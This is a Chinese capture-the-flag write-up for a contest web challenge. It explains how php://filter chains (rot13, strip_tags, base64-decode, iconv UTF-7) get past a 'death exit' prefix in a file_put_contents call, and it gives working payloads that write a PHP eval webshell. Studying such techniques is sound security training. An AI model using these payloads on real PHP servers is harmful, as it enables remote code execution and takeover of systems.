[省信息安全技术大赛]Web4

打开题目,直接得到了源码

 <?php
    show_source(__FILE__);

    function getKey($path){
        $name = $path.md5($_SERVER["REMOTE_ADDR"]).'.php';
        return $name;
    }

    echo $_SERVER["REMOTE_ADDR"];
    $expire = $_POST['expire'];
    $path = $_POST['path'];
    $filename = getKey($path);
    $value = $filename;
    $data = serialize($value);
    $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
    $result = file_put_contents($filename, $data);
?> 127.0.0.1

这道题的灵感应该来自于Thinkphp的反序列漏洞,很明显,存在危险函数file_put_contents,应该可以写入任意文件Get Shell,所以关键要注意两个参数$filename$data的传入
但是主要思考的地方在于下行代码
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
很自然的想到死亡退出的题目,大致思路是使用伪协议包含解码之后再写入,这样其它的多余代码和exit()部分会被解码为乱码被php自动忽略,达到绕过退出代码,插入木马Get Shell的目的
该题的大体思路还是通过解码的方式使得exit()失效
但是按常规的死亡退出解法并不能解决该题,主要是由于插入进去的语句是拼接在//之后的,也就是写入的$expire会被注释掉

$data = serialize($value);
$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

这里还做了一次序列化再将$data拼接进去,那这里就存在可以利用的可能了。
那这里就需要考虑的是使用哪种解码方式可以成功写入木马并且Get Shell
首先考虑的是rot13加解密,也就是path=php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[_]);?>,由于我们测试的ip为127.0.0.1这样就会生成 名为<?cuc @riny($_TRG[_]);?>f528764d624db129b32c21fbca0cb8d6.php的文件,但是这种在windows环境下属于错误的文件名格式,所以在windows环境下无法写入进去

所以,需要想办法去除<?等字符
php提供了string.strip_tagsconvert.base64-decode过滤器

  strip_tags 可以用来删除字符串中的 HTML代码 和 PHP代码 ;
  base64-decode 可以用来解码 base64字符串

可以用strip_tags来去除<?...exit()代码片段,使用base64编码<?php...eval($...?>防止被 strip_tags 删除。如下:

path=php://filter/string.strip_tags|convert.base64-decode/resource=PD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../a.php

但是当我们写入的时候又发生了一个问题
在这里插入图片描述这是因为我们的path语句当中带有=号,读入之后被base64解密的时候无法解析=号,因此报了错,导致只能写入空文件,造成写入木马的失败

<?php 
$filename_a= "php://filter/string.strip_tags|convert.base64-decode/resource=PD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../a.php";
$data_without = "<?php\n//000000000000\n exit();?>\nphp://filter/string.strip_tags|convert.base64-decode/resource=aPD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../a.php";
file_put_contents($filename_a, $data_without); #带有等号 会报错

$filename_b= "php://filter/string.strip_tags|convert.base64-decode/resource=PD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../b.php";
$data_with = "<?php\n//000000000000\n exit();?>\nphp://filter/string.strip_tags|convert.base64-decode/resourceaPD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../b.php";
file_put_contents($filename_b, $data_with) #不带有等号 成功写入

运行上述代码就可知,使用 strip_tags 和 base64 的方法一般情况下不可取,因为 resource 后面一定要有=在php中才是合法的语法规则。

分析在linux下执行exp可以成功写入文件,但是无法执行的原因
写入的文件为

<?cuc
//000000000000
 rkvg();?>
f:101:"cuc://svygre/jevgr=fgevat.ebg13/erfbhepr=<?php @eval($_GET[_]);?>647p4s96n28n577173q6r398rrspp3sr.cuc

访问该文件,会报错 Parse error: syntax error, unexpected ‘rkvg’ (T_STRING) 导致后续代码无法执行。
这是因为 php 默认会开启short_open_tag(手册),导致 php 把 <? ?>之间的内容识别为php代码,但是由于<?cuc,也就是 <?后面出现了 cuc 字符串,使得代码语法不合格,php 报错退出执行。

整理问题重新思考一下
在该题中,path是可控的,它控制了文件名与写入的内容,根据上面的分析,由于题目环境是Linux,因此这里先考虑通过base64解密的方式同时绕过掉对<??>的检测和死亡退出,为了更好的理解,把代码的执行过程简化一下

$path='php://filter/write=convert.base64-decode/resource=PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4';
$filename=$path.'468bc8d30505000a2d7d24702b2cda94.php';
$data="<?php\n//000000000000\n exit();?>\n".serialize($path.'647c4f96a28a577173d6e398eefcc3fe.php');


echo $filename."\n\n";
echo $data."\n";
/**
php://filter/write=convert.base64-decode/resource=PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4468bc8d30505000a2d7d24702b2cda94.php

<?php
//000000000000
 exit();?>
s:121:"php://filter/write=convert.base64-decode/resource=PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4647c4f96a28a577173d6e398eefcc3fe.php";
**/

#file_put_contents($filename, $data);

可以发现文件名变成了PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4468bc8d30505000a2d7d24702b2cda94.php
文件内容为

<?php
//000000000000
 exit();?>
s:121:"php://filter/write=convert.base64-decode/resource=PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4647c4f96a28a577173d6e398eefcc3fe.php";

且会被convert.base64-decode过滤器进行base64解码,但是由于有等号,写入文件肯定会报错。所以现在的问题就变成了,如何让文件名中不含有=
大家可以查看php手册英文版的这个页面,拉到最下面,会发现一个过滤器:convert.iconv.* ,这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。它的作用等价于函数iconv()(这个过滤器在php的中文页面是没有描述的。
看以下demo:

<?php

$cc='php://filter/convert.iconv.utf-8.utf-7/resource=123.txt';
file_put_contents($cc,'=');

/**
123.txt 写入的内容为: +AD0-
**/

也就是,convert.iconv 这个过滤器把 =转化成了 +AD0-,要知道 +AD0-是可以被 convert.base64-decode过滤器解码的。

答案呼之欲出。使用 convert.iconv.* 配合 convert.base64-decode

所以该题的payload为
由于base64是四个字节为一组,所以要在base64编码前补字母达到使得shell语句被正常解码的目的

path=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../h.php

在这里插入图片描述

在这里插入图片描述
注:参考文章

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值